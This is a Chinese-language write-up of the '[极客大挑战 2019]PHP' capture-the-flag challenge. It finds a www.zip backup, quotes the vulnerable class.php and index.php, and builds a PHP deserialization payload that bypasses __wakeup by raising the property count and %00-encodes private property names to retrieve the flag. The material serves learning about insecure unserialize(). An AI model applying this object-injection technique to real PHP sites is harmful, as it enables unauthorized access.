极客大挑战_2019 PHP

[极客大挑战 2019]PHP

页面提示我有一个良好的备份网站的习惯

找一个备份的字典扫扫网站目录

下载这个压缩包www.zip

有几个文件

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

unserialize很明显这是一个反序列化漏洞

echo $flag条件是username === 'admin' and password == 100

生成序列化

<?php
class Name{
    private $username='admin';
	private $password='100';
}

$a=new Name();

echo serialize($a);
?>
	
    
//得到O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

为了绕过__wakeup,执行__destruct,将2改成3，原理：变量个数大于原来的

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

注意这里面有几个空格，把它换成%00，原理：私有变量前需要加个前缀0

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最终payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}